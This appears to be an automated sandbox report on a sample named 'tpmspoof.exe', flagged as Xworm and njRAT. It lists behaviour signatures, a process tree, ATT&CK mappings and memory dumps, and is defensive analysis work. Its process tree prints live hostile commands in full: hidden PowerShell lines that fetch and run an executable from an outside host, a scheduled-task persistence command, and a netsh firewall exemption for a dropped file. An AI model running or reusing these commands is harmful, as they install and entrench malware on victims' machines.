Analysis
- max time kernel
136s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
24/04/2026, 02:36
General
- Target tpmspoof.exe
- Size 1.5MB
- Sample260424-c3websc15s
- SHA256 fc094a9cbf6b8e30b323d1b55d5b9a9a49c2d2ce34d48014540d00ea845fafe9
Malware Config
Extracted
-
xworm
-
yNحكـX8ٍبAGLWِF6Jo2DiObلٍLZا3ا
-
Install_directory
%Port%
-
install_file
MicrosoftEdgeUpdateTaskMachineUAC.exe
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Family: njRAT/Bladabindi
Widely used RAT written in .NET.
- Detect Xworm Payload 1 IoCs
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 4 IoCs
- Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Drops file in System32 directory 18 IoCs
- Drops file in Windows directory 7 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks SCSI registry key(s) 3 TTPs 24 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 12 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 5 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 2 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 4 IoCs
- Suspicious use of SetWindowsHookEx 5 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Drops file in System32 directory
-
C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-29b94af4-8d6c-4cc8-8add-a5be79bf6c88 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-742fa99a-a045-46e8-a7a2-1633632acfd0 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-161151c4-b853-42a1-9b96-d9bfe7d3d119 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-c359b26e-6e01-4c83-a026-d935bad9161f -LifetimeId:ed76c9ce-9dbc-412c-9ba5-52a92dcd625d -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
-
C:\Windows\system32\MusNotification.exeC:\Windows\system32\MusNotification.exe2⤵
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\tpmspoof.exe"C:\Users\Admin\AppData\Local\Temp\tpmspoof.exe"2⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\v5oo1zn5.jja.exe"C:\Users\Admin\AppData\Local\Temp\v5oo1zn5.jja.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SYSTEM32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "Masontpmspoof.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\tpmspoof.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "Masontpmspoof.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\tpmspoof.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\tpm spoof.exe"C:\Users\Admin\AppData\Local\Temp\tpm spoof.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\WindowsServices.exe"C:\Windows\WindowsServices.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Windows\WindowsServices.exe" "WindowsServices.exe" ENABLE5⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
- Suspicious use of SetWindowsHookEx
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Dominate.exe"C:\Users\Admin\AppData\Local\Temp\Dominate.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK933495.exe; Start-Process -FilePath $env:TEMP\BK933495.exe -WindowStyle Hidden }"4⤵
-
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK933495.exe; Start-Process -FilePath $env:TEMP\BK933495.exe -WindowStyle Hidden }"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK933495.exe; Start-Process -FilePath $env:TEMP\BK933495.exe -WindowStyle Hidden }"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK382324.exe; Start-Process -FilePath $env:TEMP\BK382324.exe -WindowStyle Hidden }"4⤵
-
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK382324.exe; Start-Process -FilePath $env:TEMP\BK382324.exe -WindowStyle Hidden }"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK382324.exe; Start-Process -FilePath $env:TEMP\BK382324.exe -WindowStyle Hidden }"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Dominate.exe" MD5 | find /i /v "md5" | find /i /v "certutil"4⤵
-
C:\Windows\system32\certutil.execertutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Dominate.exe" MD55⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4608 -s 5526⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Windows\system32\find.exefind /i /v "md5"5⤵
-
-
C:\Windows\system32\find.exefind /i /v "certutil"5⤵
-
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 444 -p 4608 -ip 46082⤵
-
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Enumerates system info in registry
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Drops file in System32 directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 41449500f06f78f498739e85dd12981b ubK3/FMSPEeI7zcguvAuVg.0.1.0.0.01⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
- Checks processor information in registry
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
-
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\UsoClient.exeC:\Windows\system32\usoclient.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Netsh Helper DLL
1Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Indicator Removal
1Clear Windows Event Logs
1Modify Registry
1Pre-OS Boot
1Bootkit
1Replay Monitor
Loading Replay Monitor...
Downloads
config.json
WER3FA4.tmp.csv
WER3FC4.tmp.txt
0DE8362C9001844731C7FA5BB57705BD
103621DE9CD5414CC2538780B4B75751
57C8EDB95DF3F0AD4EE2DC2B8CFD4157
powershell.exe.log
StartupProfileData-NonInteractive
Dominate.exe
__PSScriptPolicyTest_2ti5h3oz.lus.ps1
tpm spoof.exe
v5oo1zn5.jja.exe
Schedule Maintenance Work
Schedule Wake To Work
Schedule Work
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419
memory/452-35-0x0000015A969C0000-0x0000015A969EB000-memory.dmp
memory/452-27-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/452-26-0x0000015A969C0000-0x0000015A969EB000-memory.dmp
memory/616-20-0x000001807E7C0000-0x000001807E7EB000-memory.dmp
memory/616-12-0x000001807E790000-0x000001807E7B5000-memory.dmp
memory/616-13-0x000001807E7C0000-0x000001807E7EB000-memory.dmp
memory/616-14-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/684-22-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/684-21-0x0000020C3E190000-0x0000020C3E1BB000-memory.dmp
memory/684-17-0x0000020C3E190000-0x0000020C3E1BB000-memory.dmp
memory/868-298-0x0000025FC67B0000-0x0000025FC67DB000-memory.dmp
memory/868-40-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/868-42-0x0000025FC67B0000-0x0000025FC67DB000-memory.dmp
memory/868-39-0x0000025FC67B0000-0x0000025FC67DB000-memory.dmp
memory/876-292-0x00000229C1AE0000-0x00000229C1B0B000-memory.dmp
memory/876-36-0x00000229C1AE0000-0x00000229C1B0B000-memory.dmp
memory/876-29-0x00000229C1AE0000-0x00000229C1B0B000-memory.dmp
memory/876-30-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1008-293-0x00000191A9440000-0x00000191A946B000-memory.dmp
memory/1008-33-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1008-32-0x00000191A9440000-0x00000191A946B000-memory.dmp
memory/1008-37-0x00000191A9440000-0x00000191A946B000-memory.dmp
memory/1068-357-0x000001C849570000-0x000001C84959B000-memory.dmp
memory/1068-44-0x000001C849570000-0x000001C84959B000-memory.dmp
memory/1068-45-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1068-47-0x000001C849570000-0x000001C84959B000-memory.dmp
memory/1088-64-0x0000020CDD2E0000-0x0000020CDD30B000-memory.dmp
memory/1088-477-0x0000020CDD2E0000-0x0000020CDD30B000-memory.dmp
memory/1088-52-0x0000020CDD2E0000-0x0000020CDD30B000-memory.dmp
memory/1088-53-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1136-65-0x0000021BBECB0000-0x0000021BBECDB000-memory.dmp
memory/1136-478-0x0000021BBECB0000-0x0000021BBECDB000-memory.dmp
memory/1136-55-0x0000021BBECB0000-0x0000021BBECDB000-memory.dmp
memory/1136-56-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1224-66-0x000001CF8D160000-0x000001CF8D18B000-memory.dmp
memory/1224-59-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1224-58-0x000001CF8D160000-0x000001CF8D18B000-memory.dmp
memory/1224-479-0x000001CF8D160000-0x000001CF8D18B000-memory.dmp
memory/1260-480-0x00000194B5590000-0x00000194B55BB000-memory.dmp
memory/1260-67-0x00000194B5590000-0x00000194B55BB000-memory.dmp
memory/1260-62-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1260-61-0x00000194B5590000-0x00000194B55BB000-memory.dmp
memory/1304-69-0x00000132B5DA0000-0x00000132B5DCB000-memory.dmp
memory/1304-72-0x00000132B5DA0000-0x00000132B5DCB000-memory.dmp
memory/1304-508-0x00000132B5DA0000-0x00000132B5DCB000-memory.dmp
memory/1304-70-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1324-76-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1324-75-0x000002B976940000-0x000002B97696B000-memory.dmp
memory/1420-131-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1420-130-0x00000228E27A0000-0x00000228E27CB000-memory.dmp
memory/1428-78-0x0000022C39260000-0x0000022C3928B000-memory.dmp
memory/1428-79-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1484-101-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1484-100-0x0000027B07200000-0x0000027B0722B000-memory.dmp
memory/1624-103-0x00000256BC340000-0x00000256BC36B000-memory.dmp
memory/1624-104-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1632-106-0x000001E7E65A0000-0x000001E7E65CB000-memory.dmp
memory/1632-107-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1644-110-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1644-109-0x000001F44D960000-0x000001F44D98B000-memory.dmp
memory/1660-113-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1660-112-0x000001E402730000-0x000001E40275B000-memory.dmp
memory/1840-116-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1840-115-0x000001B30FAE0000-0x000001B30FB0B000-memory.dmp
memory/1856-118-0x000001C595DD0000-0x000001C595DFB000-memory.dmp
memory/1856-119-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1940-121-0x000002B759A40000-0x000002B759A6B000-memory.dmp
memory/1940-122-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/1948-124-0x0000021481090000-0x00000214810BB000-memory.dmp
memory/1948-125-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/2044-128-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/2044-127-0x0000025777B40000-0x0000025777B6B000-memory.dmp
memory/2056-134-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/2056-133-0x0000018C407C0000-0x0000018C407EB000-memory.dmp
memory/2100-136-0x000002460FF30000-0x000002460FF5B000-memory.dmp
memory/2100-137-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/2124-139-0x00000213D7F70000-0x00000213D7F9B000-memory.dmp
memory/2124-140-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/2176-143-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/2176-142-0x0000028815BA0000-0x0000028815BCB000-memory.dmp
memory/2236-146-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/2236-145-0x0000000001560000-0x000000000158B000-memory.dmp
memory/2328-149-0x00007FFF72BF0000-0x00007FFF72C00000-memory.dmp
memory/2328-148-0x00000187C71D0000-0x00000187C71FB000-memory.dmp
memory/4960-529-0x000001D52EA90000-0x000001D52EAA0000-memory.dmp
memory/4960-296-0x000001D5491B0000-0x000001D54930C000-memory.dmp
memory/4960-299-0x000001D52EA90000-0x000001D52EAA0000-memory.dmp
memory/4960-359-0x000001D549190000-0x000001D54919E000-memory.dmp
memory/4960-0-0x000001D52E440000-0x000001D52E5CE000-memory.dmp
memory/4960-1-0x000001D52E960000-0x000001D52E98C000-memory.dmp
memory/5664-372-0x000001FEA0DE0000-0x000001FEA0E02000-memory.dmp
memory/5812-10-0x00007FFFB2B70000-0x00007FFFB2D65000-memory.dmp
memory/5812-11-0x00007FFFB22E0000-0x00007FFFB239E000-memory.dmp